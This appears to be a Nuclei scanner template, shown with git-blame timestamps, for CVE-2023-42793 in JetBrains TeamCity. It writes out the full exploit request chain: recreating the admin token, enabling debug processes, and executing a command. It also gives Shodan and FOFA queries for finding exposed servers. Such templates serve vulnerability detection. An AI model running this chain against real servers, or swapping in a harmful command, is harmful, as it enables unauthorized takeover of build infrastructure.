2023-09-27 17:55:18 +00:00
|
|
|
id: CVE-2023-42793
|
|
|
|
|
|
|
|
info:
|
2023-09-27 18:05:06 +00:00
|
|
|
name: JetBrains TeamCity < 2023.05.4 - Remote Code Execution
|
2023-09-27 17:55:18 +00:00
|
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
|
|
severity: critical
|
2023-09-27 18:05:06 +00:00
|
|
|
description: |
|
|
|
|
In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
|
2023-09-27 17:55:18 +00:00
|
|
|
reference:
|
|
|
|
- https://www.jetbrains.com/privacy-security/issues-fixed/
|
|
|
|
- https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
|
|
|
|
- https://www.sonarsource.com/blog/teamcity-vulnerability
|
2023-09-27 18:05:06 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-42793
|
2023-10-14 11:27:55 +00:00
|
|
|
- https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793
|
2023-09-27 17:55:18 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2023-42793
|
|
|
|
cwe-id: CWE-288
|
2023-10-29 11:57:59 +00:00
|
|
|
epss-score: 0.97264
|
2023-11-18 12:52:17 +00:00
|
|
|
epss-percentile: 0.99811
|
2023-09-27 17:55:18 +00:00
|
|
|
cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
2023-09-27 18:05:06 +00:00
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 5
|
2023-09-27 18:05:06 +00:00
|
|
|
vendor: jetbrains
|
|
|
|
product: teamcity
|
2023-10-14 11:27:55 +00:00
|
|
|
shodan-query: title:TeamCity
|
|
|
|
fofa-query: title=TeamCity
|
|
|
|
tags: cve,cve2023,jetbrains,teamcity,rce,auth-bypass,intrusive,kev
|
2023-09-27 17:55:18 +00:00
|
|
|
|
2023-09-27 18:05:44 +00:00
|
|
|
http:
|
2023-09-27 17:55:18 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
- |
|
|
|
|
POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Authorization: Bearer {{token}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
- |
|
|
|
|
POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Authorization: Bearer {{token}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
- |
|
|
|
|
POST /app/rest/debug/processes?exePath=echo¶ms={{randstr}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Authorization: Bearer {{token}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body_2
|
|
|
|
words:
|
|
|
|
- '<token name="RPC2" creationTime'
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body_5
|
|
|
|
words:
|
2023-09-27 18:05:06 +00:00
|
|
|
- 'StdOut:{{randstr}}'
|
2023-09-27 17:55:18 +00:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
part: body_2
|
|
|
|
name: token
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- 'value="(.*?)"'
|
2023-09-27 18:05:06 +00:00
|
|
|
internal: true
|
2023-11-19 08:30:54 +00:00
|
|
|
|
|
|
|
# digest: 4a0a0047304502201af48ecf33cf974da48a2d8fb0129b61f13d9f77473200fce33819bcaa442a22022100d1cc32585a229bdcdef251a4fc76ad3bf3289524e396da89daba373a07830625:922c64590222798bb761d5b6d8e72950
|